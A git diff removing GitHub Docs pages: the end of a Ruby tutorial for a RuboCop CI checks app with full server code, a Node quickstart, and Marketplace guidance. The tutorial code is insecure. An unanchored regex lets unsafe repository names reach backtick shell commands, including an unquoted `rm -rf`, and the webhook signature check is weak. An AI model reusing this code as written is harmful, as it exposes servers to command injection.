run](https://developer.github.com/changes/2018-05-23-request-actions-on-checks/). Requested actions add a button in the **Checks** tab on {% data variables.product.prodname_dotcom %} that allows someone to request the check run to take additional action. The additional action is completely configurable by your app. For example, because RuboCop has a feature to automatically fix the errors it finds in Ruby code, your CI server can use a requested actions button to allow people to request automatic error fixes. When someone clicks the button, the app receives the `check_run` event with a `requested_action` action. Each requested action has an `identifier` that the app uses to determine which button was clicked. - -The code above doesn't have RuboCop automatically fix errors yet. You'll add that later in the tutorial. - -### Test the code - -The following steps will show you how to test that the code works and view the CI test that you just created. - -1. Run the following command to restart the server from your terminal. If the server is already running, first enter `Ctrl-C` in your terminal to stop the server, and then run the following command to start the server again. - - ```shell copy - ruby server.rb - ``` - -1. In the repository where you added the `myfile.rb` file, create a new pull request. -1. In the pull request you just created, navigate to the **Checks** tab. You should see annotations for each of the errors that RuboCop found. Also notice the "Fix this" button that you created by adding a requested action. - -## Step 2.6. Automatically fix RuboCop errors - -So far you've created a CI test. In this section, you'll add one more feature that uses RuboCop to automatically fix the errors it finds. You already added the "Fix this" button in [Step 2.5. Update the check run with CI test results](#step-25-update-the-check-run-with-ci-test-results). Now you'll add the code to handle the `requested_action` check run event that's triggered when someone clicks the "Fix this" button. - -The RuboCop tool offers the `--auto-correct` command-line option to automatically fix the errors it finds. For more information, see [Autocorrecting offenses](https://docs.rubocop.org/rubocop/usage/basic_usage.html#autocorrecting-offenses) in the RuboCop documentation. When you use the `--auto-correct` feature, the updates are applied to the local files on the server. You'll need to push the changes to {% data variables.product.prodname_dotcom %} after RuboCop makes the fixes. - -To push to a repository, your app must have write permissions for "Contents" in a repository. You already set that permission to **Read & write** back in [Step 2.2. Allow RuboCop to clone the test repository](#step-22-allow-rubocop-to-clone-the-test-repository). - -To commit files, Git must know which username and email address to associate with the commit. Next you'll add environment variables to store the name and email address that your app will use when it makes Git commits. - -1. Open the `.env` file you created earlier in this tutorial. -1. Add the following environment variables to your `.env` file. Replace `APP_NAME` with the name of your app, and `EMAIL_ADDRESS` with any email you'd like to use for this example. - - ```shell copy - GITHUB_APP_USER_NAME="APP_NAME" - GITHUB_APP_USER_EMAIL="EMAIL_ADDRESS" - ``` - -Next you'll need to add code to read the environment variables and set the Git configuration. You'll add that code soon. - -When someone clicks the "Fix this" button, your app receives the [check run webhook](/webhooks-and-events/webhooks/webhook-events-and-payloads#check_run) with the `requested_action` action type. - -In [Step 1.3. Update a check run](#step-13-update-a-check-run) you updated the `event_handler` in your `server.rb` file to look for actions in the `check_run` event. You already have a case statement to handle the `created` and `rerequested` action types: - -```ruby -when 'check_run' - # Check that the event is being sent to this app - if @payload['check_run']['app']['id'].to_s === APP_IDENTIFIER - case @payload['action'] - when 'created' - initiate_check_run - when 'rerequested' - create_check_run - # ADD REQUESTED_ACTION METHOD HERE # - end -end -``` - -After the `rerequested` case, where it says `# ADD REQUESTED_ACTION METHOD HERE #`, add the following code: - -```ruby copy - when 'requested_action' - take_requested_action -``` - -This code calls a new method that will handle all `requested_action` events for your app. - -In the code block that starts with `helpers do`, where it says `# ADD TAKE_REQUESTED_ACTION HELPER METHOD HERE #`, add the following helper method: - -```ruby copy - # Handles the check run `requested_action` event - # See /webhooks/event-payloads/#check_run - def take_requested_action - full_repo_name = @payload['repository']['full_name'] - repository = @payload['repository']['name'] - head_branch = @payload['check_run']['check_suite']['head_branch'] - - if (@payload['requested_action']['identifier'] == 'fix_rubocop_notices') - clone_repository(full_repo_name, repository, head_branch) - - # Sets your commit username and email address - @git.config('user.name', ENV['GITHUB_APP_USER_NAME']) - @git.config('user.email', ENV['GITHUB_APP_USER_EMAIL']) - - # Automatically correct RuboCop style errors - @report = `rubocop '#{repository}/*' --format json --auto-correct` - - pwd = Dir.getwd() - Dir.chdir(repository) - begin - @git.commit_all('Automatically fix Octo RuboCop notices.') - @git.push("https://x-access-token:#{@installation_token.to_s}@github.com/#{full_repo_name}.git", head_branch) - rescue - # Nothing to commit! - puts 'Nothing to commit' - end - Dir.chdir(pwd) - `rm -rf '#{repository}'` - end - end -``` - -The code above clones a repository, just like the code you added in [Step 2.2. Allow RuboCop to clone the test repository](#step-22-allow-rubocop-to-clone-the-test-repository). An `if` statement checks that the requested action's identifier matches the RuboCop button identifier (`fix_rubocop_notices`). When they match, the code clones the repository, sets the Git username and email, and runs RuboCop with the option `--auto-correct`. The `--auto-correct` option applies the changes to the local CI server files automatically. - -The files are changed locally, but you'll still need to push them to {% data variables.product.prodname_dotcom %}. You'll use the `ruby-git` gem to commit all of the files. Git has a single command that stages all modified or deleted files and commits them: `git commit -a`. To do the same thing using `ruby-git`, the code above uses the `commit_all` method. Then the code pushes the committed files to {% data variables.product.prodname_dotcom %} using the installation token, using the same authentication method as the Git `clone` command. Finally, it removes the repository directory to ensure the working directory is prepared for the next event. - -The code you have written now completes your continuous integration server that you built using a {% data variables.product.prodname_github_app %} and checks. To see the full final code for your app, see [Full code example](#full-code-example). - -### Test the code - -The following steps will show you how to test that the code works, and that RuboCop can automatically fix the errors it finds. - -1. Run the following command to restart the server from your terminal. If the server is already running, first enter `Ctrl-C` in your terminal to stop the server, and then run the following command to start the server again. - - ```shell copy - ruby server.rb - ``` - -1. In the repository where you added the `myfile.rb` file, create a new pull request. -1. In the new pull request you created, navigate to the **Checks** tab, and click the "Fix this" button to automatically fix the errors RuboCop found. -1. Navigate to the **Commits** tab. You should see a new commit by the username you set in your Git configuration. You may need to refresh your browser to see the update. -1. Navigate to the **Checks** tab. You should see a new check suite for Octo RuboCop. But this time there should be no errors, because RuboCop fixed them all. - -## Full code example - -This is what the final code in `server.rb` should look like, after you've followed all of the steps in this tutorial. There are also comments throughout the code that provide additional context. - -```ruby copy -require 'sinatra/base' # Use the Sinatra web framework -require 'octokit' # Use the Octokit Ruby library to interact with GitHub's REST API -require 'dotenv/load' # Manages environment variables -require 'json' # Allows your app to manipulate JSON data -require 'openssl' # Verifies the webhook signature -require 'jwt' # Authenticates a GitHub App -require 'time' # Gets ISO 8601 representation of a Time object -require 'logger' # Logs debug statements - -# This code is a Sinatra app, for two reasons: -# 1. Because the app will require a landing page for installation. -# 2. To easily handle webhook events. - -class GHAapp < Sinatra::Application - - # Sets the port that's used when starting the web server. - set :port, 3000 - set :bind, '0.0.0.0' - - # Expects the private key in PEM format. Converts the newlines. - PRIVATE_KEY = OpenSSL::PKey::RSA.new(ENV['GITHUB_PRIVATE_KEY'].gsub('\n', "\n")) - - # Your registered app must have a webhook secret. - # The secret is used to verify that webhooks are sent by GitHub. - WEBHOOK_SECRET = ENV['GITHUB_WEBHOOK_SECRET'] - - # The GitHub App's identifier (type integer). - APP_IDENTIFIER = ENV['GITHUB_APP_IDENTIFIER'] - - # Turn on Sinatra's verbose logging during development - configure :development do - set :logging, Logger::DEBUG - end - - # Executed before each request to the `/event_handler` route - before '/event_handler' do - get_payload_request(request) - verify_webhook_signature - - # If a repository name is provided in the webhook, validate that - # it consists only of latin alphabetic characters, `-`, and `_`. - unless @payload['repository'].nil? - halt 400 if (@payload['repository']['name'] =~ /[0-9A-Za-z\-\_]+/).nil? - end - - authenticate_app - # Authenticate the app installation in order to run API operations - authenticate_installation(@payload) - end - - post '/event_handler' do - - # Get the event type from the HTTP_X_GITHUB_EVENT header - case request.env['HTTP_X_GITHUB_EVENT'] - - when 'check_suite' - # A new check_suite has been created. Create a new check run with status queued - if @payload['action'] == 'requested' || @payload['action'] == 'rerequested' - create_check_run - end - - when 'check_run' - # Check that the event is being sent to this app - if @payload['check_run']['app']['id'].to_s === APP_IDENTIFIER - case @payload['action'] - when 'created' - initiate_check_run - when 'rerequested' - create_check_run - when 'requested_action' - take_requested_action - end - end - end - - 200 # success status - end - - helpers do - - # Create a new check run with status "queued" - def create_check_run - @installation_client.create_check_run( - # [String, Integer, Hash, Octokit Repository object] A GitHub repository. - @payload['repository']['full_name'], - # [String] The name of your check run. - 'Octo RuboCop', - # [String] The SHA of the commit to check - # The payload structure differs depending on whether a check run or a check suite event occurred. - @payload['check_run'].nil? ? @payload['check_suite']['head_sha'] : @payload['check_run']['head_sha'], - # [Hash] 'Accept' header option, to avoid a warning about the API not being ready for production use. - accept: 'application/vnd.github+json' - ) - end - - # Start the CI process - def initiate_check_run - # Once the check run is created, you'll update the status of the check run - # to 'in_progress' and run the CI process. When the CI finishes, you'll - # update the check run status to 'completed' and add the CI results. - - @installation_client.update_check_run( - @payload['repository']['full_name'], - @payload['check_run']['id'], - status: 'in_progress', - accept: 'application/vnd.github+json' - ) - - full_repo_name = @payload['repository']['full_name'] - repository = @payload['repository']['name'] - head_sha = @payload['check_run']['head_sha'] - - clone_repository(full_repo_name, repository, head_sha) - - # Run RuboCop on all files in the repository - @report = `rubocop '#{repository}' --format json` - logger.debug @report - `rm -rf #{repository}` - @output = JSON.parse @report - - annotations = [] - # You can create a maximum of 50 annotations per request to the Checks - # API. To add more than 50 annotations, use the "Update a check run" API - # endpoint. This example code limits the number of annotations to 50. - # See /rest/reference/checks#update-a-check-run - # for details. - max_annotations = 50 - - # RuboCop reports the number of errors found in "offense_count" - if @output['summary']['offense_count'] == 0 - conclusion = 'success' - else - conclusion = 'neutral' - @output['files'].each do |file| - - # Only parse offenses for files in this app's repository - file_path = file['path'].gsub(/#{repository}\//,'') - annotation_level = 'notice' - - # Parse each offense to get details and location - file['offenses'].each do |offense| - # Limit the number of annotations to 50 - next if max_annotations == 0 - max_annotations -= 1 - - start_line = offense['location']['start_line'] - end_line = offense['location']['last_line'] - start_column = offense['location']['start_column'] - end_column = offense['location']['last_column'] - message = offense['message'] - - # Create a new annotation for each error - annotation = { - path: file_path, - start_line: start_line, - end_line: end_line, - start_column: start_column, - end_column: end_column, - annotation_level: annotation_level, - message: message - } - # Annotations only support start and end columns on the same line - if start_line == end_line - annotation.merge({start_column: start_column, end_column: end_column}) - end - - annotations.push(annotation) - end - end - end - - # Updated check run summary and text parameters - summary = "Octo RuboCop summary\n-Offense count: #{@output['summary']['offense_count']}\n-File count: #{@output['summary']['target_file_count']}\n-Target file count: #{@output['summary']['inspected_file_count']}" - text = "Octo RuboCop version: #{@output['metadata']['rubocop_version']}" - - # Mark the check run as complete! And if there are warnings, share them. - @installation_client.update_check_run( - @payload['repository']['full_name'], - @payload['check_run']['id'], - status: 'completed', - conclusion: conclusion, - output: { - title: 'Octo RuboCop', - summary: summary, - text: text, - annotations: annotations - }, - actions: [{ - label: 'Fix this', - description: 'Automatically fix all linter notices.', - identifier: 'fix_rubocop_notices' - }], - accept: 'application/vnd.github+json' - ) - end - - # Clones the repository to the current working directory, updates the - # contents using Git pull, and checks out the ref. - # - # full_repo_name - The owner and repo. Ex: octocat/hello-world - # repository - The repository name - # ref - The branch, commit SHA, or tag to check out - def clone_repository(full_repo_name, repository, ref) - @git = Git.clone("https://x-access-token:#{@installation_token.to_s}@github.com/#{full_repo_name}.git", repository) - pwd = Dir.getwd() - Dir.chdir(repository) - @git.pull - @git.checkout(ref) - Dir.chdir(pwd) - end - - # Handles the check run `requested_action` event - # See /webhooks/event-payloads/#check_run - def take_requested_action - full_repo_name = @payload['repository']['full_name'] - repository = @payload['repository']['name'] - head_branch = @payload['check_run']['check_suite']['head_branch'] - - if (@payload['requested_action']['identifier'] == 'fix_rubocop_notices') - clone_repository(full_repo_name, repository, head_branch) - - # Sets your commit username and email address - @git.config('user.name', ENV['GITHUB_APP_USER_NAME']) - @git.config('user.email', ENV['GITHUB_APP_USER_EMAIL']) - - # Automatically correct RuboCop style errors - @report = `rubocop '#{repository}/*' --format json --auto-correct` - - pwd = Dir.getwd() - Dir.chdir(repository) - begin - @git.commit_all('Automatically fix Octo RuboCop notices.') - @git.push("https://x-access-token:#{@installation_token.to_s}@github.com/#{full_repo_name}.git", head_branch) - rescue - # Nothing to commit! - puts 'Nothing to commit' - end - Dir.chdir(pwd) - `rm -rf '#{repository}'` - end - end - - # Saves the raw payload and converts the payload to JSON format - def get_payload_request(request) - # request.body is an IO or StringIO object - # Rewind in case someone already read it - request.body.rewind - # The raw text of the body is required for webhook signature verification - @payload_raw = request.body.read - begin - @payload = JSON.parse @payload_raw - rescue => e - fail 'Invalid JSON (#{e}): #{@payload_raw}' - end - end - - # Instantiate an Octokit client authenticated as a GitHub App. - # GitHub App authentication requires that you construct a - # JWT (https://jwt.io/introduction/) signed with the app's private key, - # so GitHub can be sure that it came from the app and not altered by - # a malicious third party. - def authenticate_app - payload = { - # The time that this JWT was issued, _i.e._ now. - iat: Time.now.to_i, - - # JWT expiration time (10 minute maximum) - exp: Time.now.to_i + (10 * 60), - - # Your GitHub App's identifier number - iss: APP_IDENTIFIER - } - - # Cryptographically sign the JWT. - jwt = JWT.encode(payload, PRIVATE_KEY, 'RS256') - - # Create the Octokit client, using the JWT as the auth token. - @app_client ||= Octokit::Client.new(bearer_token: jwt) - end - - # Instantiate an Octokit client, authenticated as an installation of a - # GitHub App, to run API operations. - def authenticate_installation(payload) - @installation_id = payload['installation']['id'] - @installation_token = @app_client.create_app_installation_access_token(@installation_id)[:token] - @installation_client = Octokit::Client.new(bearer_token: @installation_token) - end - - # Check X-Hub-Signature to confirm that this webhook was generated by - # GitHub, and not a malicious third party. - # - # GitHub uses the WEBHOOK_SECRET, registered to the GitHub App, to - # create the hash signature sent in the `X-HUB-Signature` header of each - # webhook. This code computes the expected hash signature and compares it to - # the signature sent in the `X-HUB-Signature` header. If they don't match, - # this request is an attack, and you should reject it. GitHub uses the HMAC - # hexdigest to compute the signature. The `X-HUB-Signature` looks something - # like this: 'sha1=123456'. - def verify_webhook_signature - their_signature_header = request.env['HTTP_X_HUB_SIGNATURE'] || 'sha1=' - method, their_digest = their_signature_header.split('=') - our_digest = OpenSSL::HMAC.hexdigest(method, WEBHOOK_SECRET, @payload_raw) - halt 401 unless their_digest == our_digest - - # The X-GITHUB-EVENT header provides the name of the event. - # The action value indicates the which action triggered the event. - logger.debug "---- received event #{request.env['HTTP_X_GITHUB_EVENT']}" - logger.debug "---- action #{@payload['action']}" unless @payload['action'].nil? - end - - end - - # Finally some logic to let us run this server directly from the command line, - # or with Rack. Don't worry too much about this code. But, for the curious: - # $0 is the executed file - # __FILE__ is the current file - # If they are the same—that is, we are running this file directly, call the - # Sinatra run method - run! if __FILE__ == $0 -end -``` - -## Next steps - -You should now have an app that receives API events, creates check runs, uses RuboCop to find Ruby errors, creates annotations in a pull request, and automatically fixes linter errors. Next you might want to expand your app's code, deploy your app, and make your app public. - -If you have any questions, start a [{% data variables.product.prodname_github_community %} discussion](https://github.com/orgs/community/discussions/categories/api-and-webhooks) in the API and Webhooks category. - -### Modify the app code - -This tutorial demonstrated how to create a "Fix this" button that is always displayed in pull requests in the repository. Try updating the code to display the "Fix this" button only when RuboCop finds errors. - -If you'd prefer that RuboCop doesn't commit files directly to the head branch, update the code to instead create a pull request with a new branch that's based on the head branch. - -### Deploy your app - -This tutorial demonstrated how to develop your app locally. When you are ready to deploy your app, you need to make changes to serve your app and keep your app's credential secure. The steps you take depend on the server that you use, but the following sections offer general guidance. - -#### Host your app on a server - -This tutorial used your computer or codespace as a server. Once the app is ready for production use, you should deploy your app to a dedicated server. For example, you can use [Azure App Service](https://azure.microsoft.com/products/app-service/). - -#### Update the webhook URL - -Once you have a server that is set up to receive webhook traffic from {% data variables.product.company_short %}, update the webhook URL in your app settings. You should not use Smee.io to forward your webhooks in production. - -#### Update the `:port` setting - -When you deploy your app, you will want to change the port where your server is listening. The code already tells your server to listen to all available network interfaces by setting `:bind` to `0.0.0.0`. - -For example, you can set a `PORT` variable in your `.env` file on your server to indicate the port where your server should listen. Then, you can update the place where your code sets `:port` so that your server listens on your deployment port: - -```ruby copy -set :port, ENV['PORT'] -``` - -#### Secure your app's credentials - -You should never publicize your app's private key or webhook secret. This tutorial stored your app's credentials in a gitignored `.env` file. When you deploy your app, you should choose a secure way to store the credentials and update your code to get the value accordingly. For example, you can store the credentials with a secret management service like [Azure Key Vault](https://azure.microsoft.com/en-us/products/key-vault). When your app runs, it can retrieve the credentials and store them in environment variables on the server where your app is deployed. - -For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/best-practices-for-creating-a-github-app). - -### Share your app - -If you want to share your app with other users and organizations, make your app public. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/making-a-github-app-public-or-private). - -### Follow best practices - -You should aim to follow best practices with your {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/best-practices-for-creating-a-github-app). diff --git a/content/apps/creating-github-apps/writing-code-for-a-github-app/index.md b/content/apps/creating-github-apps/writing-code-for-a-github-app/index.md deleted file mode 100644 index 004e00897b0b..000000000000 --- a/content/apps/creating-github-apps/writing-code-for-a-github-app/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Writing code for a GitHub App -intro: 'Learn about using the {% data variables.product.github %} API with your app, continuous integration, and how to build with apps.' -redirect_from: - - /apps/quickstart-guides - - /developers/apps/guides - - /apps/creating-github-apps/guides -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -children: - - /about-writing-code-for-a-github-app - - /quickstart - - /building-a-github-app-that-responds-to-webhook-events - - /building-a-login-with-github-button-with-a-github-app - - /building-a-cli-with-a-github-app - - /building-ci-checks-with-a-github-app ---- diff --git a/content/apps/creating-github-apps/writing-code-for-a-github-app/quickstart.md b/content/apps/creating-github-apps/writing-code-for-a-github-app/quickstart.md deleted file mode 100644 index d367b5ca48c6..000000000000 --- a/content/apps/creating-github-apps/writing-code-for-a-github-app/quickstart.md +++ /dev/null @@ -1,167 +0,0 @@ ---- -title: Quickstart for building GitHub Apps -shortTitle: Quickstart -intro: 'Quickly build a {% data variables.product.prodname_github_app %} that comments on pull requests.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -redirect_from: - - /apps/creating-github-apps/guides/quickstart ---- - -## Introduction - -{% data variables.product.prodname_github_apps %} let you automate processes or integrate other platforms with {% data variables.product.company_short %}. For more info, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/about-apps). - -This quickstart describes how to quickly create a {% data variables.product.prodname_github_app %}. When a pull request is opened in a repository that the app was granted access to, the app will add a comment to the pull request. - -This quickstart uses pre-written code to help you get started quickly. For a more detailed tutorial that helps you write the code, see [AUTOTITLE](/apps/creating-github-apps/guides/building-a-github-app-that-responds-to-webhook-events). - -## Prerequisites - -Your computer or codespace should use Node.js version 12 or greater. For more information, see [Node.js](https://nodejs.org). - -## Step 1: Clone the app code - -To help you get started quickly, we wrote code that you can use. If you want to learn how to write the code yourself, see [AUTOTITLE](/apps/creating-github-apps/guides/building-a-github-app-that-responds-to-webhook-events). - -1. Clone the [github/github-app-js-sample](https://github.com/github/github-app-js-sample) repository. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository). You may use a local clone or {% data variables.product.prodname_github_codespaces %}. -1. In a terminal window, navigate to the directory where your clone is stored. -1. Run `npm install` to install the dependencies. - -## Step 2: Get a webhook proxy URL - -In order to develop your app locally, you can use a webhook proxy URL to forward webhooks from {% data variables.product.company_short %} to your computer or codespace. This quickstart uses Smee.io to provide a webhook proxy URL and forward webhooks. - -1. In your browser, navigate to https://smee.io/. -1. Click **Start a new channel**. -1. Copy the full URL under "Webhook Proxy URL". You will use this URL in a later step. - -## Step 3: Register a {% data variables.product.prodname_github_app %} - -The following steps will guide you through configuring the app settings that are required for this quickstart. For more information about the settings, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/creating-a-github-app). - -{% data reusables.apps.settings-step-personal-orgs %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.github_apps %} -1. Click **New {% data variables.product.prodname_github_app %}**. -1. Under "{% data variables.product.prodname_github_app %} name", enter a name for your app. For example, `USERNAME-quickstart-app` where `USERNAME` is your {% data variables.product.company_short %} username. -1. Under "Homepage URL", enter `https://github.com/github/github-app-js-sample#readme`. -1. Skip the "Identifying and authorizing users" and "Post installation" sections for this quickstart. For more information about these settings, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/creating-a-github-app). -1. Make sure that **Active** is selected under "Webhooks." -1. Under "Webhook URL", enter your webhook proxy URL from earlier. For more information, see [Step 2: Get a webhook proxy URL](#step-2-get-a-webhook-proxy-url). -1. Under "Webhook secret", enter a random string. You will use this string later. -1. Under "Repository permissions", next to "Pull requests," select **Read & write**. -1. Under "Subscribe to events", select **Pull request**. -1. Under "Where can this {% data variables.product.prodname_github_app %} be installed?", select **Only on this account**. -1. Click **Create {% data variables.product.prodname_github_app %}**. - -## Step 4: Store identifying information and credentials - -In this quickstart, you will store your app's credentials and identifying information as environment variables in a `.env` file. When you deploy your app, you will want to change how you store the credentials. For more information, see [Deploy your app](#deploy-your-app). - -Make sure that you are on a secure machine before performing these steps since you will store your credentials locally. - -### Create a `.env` file - -Your cloned repository includes `.env` in the `.gitignore` file. This will prevent you from accidentally committing your app's credentials. For more information about `.gitignore` files, see [AUTOTITLE](/get-started/git-basics/ignoring-files). - -1. Navigate to the directory where your clone of [github/github-app-js-sample](https://github.com/github/github-app-js-sample) is stored. -1. Create a file called `.env` at the top level of this directory. -1. Add the following contents to your `.env` file. {% ifversion ghes %}Replace `YOUR_HOSTNAME` with the name of {% data variables.location.product_location %}. You will update the other values in a later step.{% else %}You will update the values in a later step.{% endif %} - - ```text copy - APP_ID="YOUR_APP_ID" - WEBHOOK_SECRET="YOUR_WEBHOOK_SECRET" - PRIVATE_KEY_PATH="YOUR_PRIVATE_KEY_PATH"{% ifversion ghes %} - HOSTNAME="YOUR_HOSTNAME"{% endif %} - ``` - -### Navigate to your app settings - -If you navigated away from your app settings after creating your app, navigate to the settings page for your app: - -{% data reusables.apps.settings-step %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.github_apps %} -1. Next to your app's name, click **Edit**. - -### Get your app credentials and identifying information - -1. On your app's settings page, next to "App ID", find the app ID for your app. -1. In your `.env` file, replace `YOUR_APP_ID` with the app ID of your app. -1. On your app's settings page, under "Private keys", click **Generate a private key**. You will see a private key in PEM format downloaded to your computer. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps). -1. If you are using a codespace, move the downloaded PEM file into your codespace so that your codespace can access the file. -1. In your `.env` file, replace `YOUR_PRIVATE_KEY_PATH` with the full path to your private key, including the `.pem` extension. -1. In your `.env` file, replace `YOUR_WEBHOOK_SECRET` with the webhook secret for your app. If you have forgotten your webhook secret, under "Webhook secret (optional)", click **Change secret**. Enter a new secret, then click **Save changes**. - -## Step 5: Install your app - -In order for your app to leave a comment on pull requests in a repository, it must be installed on the account that owns the repository and granted access to that repository. Since your app is private, it can only be installed on the account that owns the app. - -1. In the account that owns the app you created, create a new repository to install the app on. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository). -1. If you navigated away from your app settings after creating your app, navigate to the settings page for your app. For more information, see [Navigate to your app settings](#navigate-to-your-app-settings). -1. Click **Public page**. -1. Click **Install**. -1. Select **Only select repositories**. -1. Select the **Select repositories** dropdown menu and click the repository that you chose at the start of this section. -1. Click **Install**. - -## Step 6: Start your server - -For testing, you will use your computer or codespace as a server. Your app will only be active when your server is running. - -1. In a terminal window, navigate to the directory where your clone of [github/github-app-js-sample](https://github.com/github/github-app-js-sample) is stored. -1. To receive forwarded webhooks from Smee.io, run `npx smee -u WEBHOOK_PROXY_URL -t http://localhost:3000/api/webhook`. Replace `WEBHOOK_PROXY_URL` with your webhook proxy URL. If you forgot your URL, you can find it in the "webhook URL" field on your app's settings page. - - You should see output that looks like this, where `WEBHOOK_PROXY_URL` is your webhook proxy URL: - - ```shell - Forwarding WEBHOOK_PROXY_URL to http://localhost:3000/api/webhook - Connected WEBHOOK_PROXY_URL - ``` - -1. In a second terminal window, navigate to the directory where your clone of [github/github-app-js-sample](https://github.com/github/github-app-js-sample) is stored. -1. Run `npm run server`. Your terminal should say, `Server is listening for events at: http://localhost:3000/api/webhook`. - -## Step 7: Test your app - -Now that your server is running and receiving forwarded webhooks events, test your app by opening a pull request. - -1. Open a pull request on the repository you created in [Step 5: Install your app](#step-5-install-your-app). For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request). -1. Navigate to your webhook proxy URL on smee.io. You should see a `pull_request` event. This indicates that {% data variables.product.company_short %} successfully sent a pull request event when you created a pull request. -1. In the terminal where you ran `npm run server`, you should see something like "Received a pull request event for #1" where the integer after the `#` is the number of the pull request that you opened. -1. In the timeline of your pull request, you should see a comment from your app. The comment uses the contents of the `message.md` file in your cloned repository. -1. In both terminal windows, enter <kbd>Ctrl</kbd>+<kbd>C</kbd> to stop your server and stop listening for forwarded webhooks. - -## Next steps - -Now that you have an app, you might want to expand your app's code, deploy your app, and make your app public. - -### Modify the app code - -Fork the [github/github-app-js-sample](https://github.com/github/github-app-js-sample) repository and modify the code to respond to different webhook events or to make different API requests. For more information about the code, see [AUTOTITLE](/apps/creating-github-apps/guides/building-a-github-app-that-responds-to-webhook-events). - -Remember to update your app's permissions if your app needs additional permissions for the API requests that you want to make or the webhook events you want to receive. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/setting-permissions-for-github-apps). - -### Deploy your app - -This tutorial used your computer or codespace as a server. Once the app is ready for production use, you should deploy your app to a dedicated server. For example, you can use [Azure App Service](https://azure.microsoft.com/products/app-service/). - -Once you have a server, update the webhook URL in your app settings. You should not use Smee.io to forward your webhooks in production. - -You will also need to update the `port` and `host` constants in the code. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/building-a-github-app-that-responds-to-webhook-events#deploy-your-app). - -You should never publicize your app's private key or webhook secret. This tutorial stored your app's credentials in a gitignored `.env` file. When you deploy your app, you should choose a secure way to store the credentials and update your code to get the value accordingly. For example, you can store the credentials in an environment variable on the server where your app is deployed. You can also use a secret management service like [Azure Key Vault](https://azure.microsoft.com/en-us/products/key-vault). - -### Share your app - -If you want to share your app with other users and organizations, make your app public. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/making-a-github-app-public-or-private). - -### Follow best practices - -You should aim to follow best practices with your {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/best-practices-for-creating-a-github-app). diff --git a/content/apps/github-marketplace/creating-apps-for-github-marketplace/customer-experience-best-practices-for-apps.md b/content/apps/github-marketplace/creating-apps-for-github-marketplace/customer-experience-best-practices-for-apps.md deleted file mode 100644 index 0162941c22f5..000000000000 --- a/content/apps/github-marketplace/creating-apps-for-github-marketplace/customer-experience-best-practices-for-apps.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Customer experience best practices for apps -intro: Guidelines for creating an app that will be easy to use and understand. -shortTitle: Customer experience best practice -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -redirect_from: - - /developers/github-marketplace/customer-experience-best-practices-for-apps - - /developers/github-marketplace/creating-apps-for-github-marketplace/customer-experience-best-practices-for-apps - - /apps/publishing-apps-to-github-marketplace/creating-apps-for-github-marketplace/customer-experience-best-practices-for-apps ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -If you follow these best practices it will help you to provide a good customer experience. - -## Customer communication - -* Marketing materials for the app should accurately represent the app's behavior. -* Apps should include links to user-facing documentation that describe how to set up and use the app. -* Customers should be able to see what type of plan they have in the billing, profile, or account settings section of the app. -* Customers should be able to install and use your app on both a personal account and an organization account. They should be able to view and manage the app on those accounts separately. -* Apps should provide customers with a way to delete their account, without having to email or call a support person. Apps should delete all {% data variables.product.company_short %} user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with {% data variables.product.company_short %}. - -## Plan management - -{% data reusables.marketplace.marketplace-billing-ui-requirements %} - -## Further reading - -* [AUTOTITLE](/apps/creating-github-apps/about-creating-github-apps/best-practices-for-creating-a-github-app) -* [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/best-practices-for-creating-an-oauth-app) -* [AUTOTITLE](/apps/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps-on-github-marketplace) diff --git a/content/apps/github-marketplace/creating-apps-for-github-marketplace/index.md b/content/apps/github-marketplace/creating-apps-for-github-marketplace/index.md deleted file mode 100644 index 9a1d7e250ac8..000000000000 --- a/content/apps/github-marketplace/creating-apps-for-github-marketplace/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Creating apps for GitHub Marketplace -intro: 'You can list free and paid tools for developers to use in {% data variables.product.prodname_marketplace %}.' -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -children: - - /requirements-for-listing-an-app - - /security-best-practices-for-apps-on-github-marketplace - - /customer-experience-best-practices-for-apps - - /viewing-metrics-for-your-listing - - /viewing-transactions-for-your-listing -shortTitle: Create Marketplace apps -redirect_from: - - /developers/github-marketplace/creating-apps-for-github-marketplace - - /apps/publishing-apps-to-github-marketplace/creating-apps-for-github-marketplace ---- - diff --git a/content/apps/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md b/content/apps/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md deleted file mode 100644 index b795984ceabf..000000000000 --- a/content/apps/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Requirements for listing an app -intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.' -redirect_from: - - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace - - 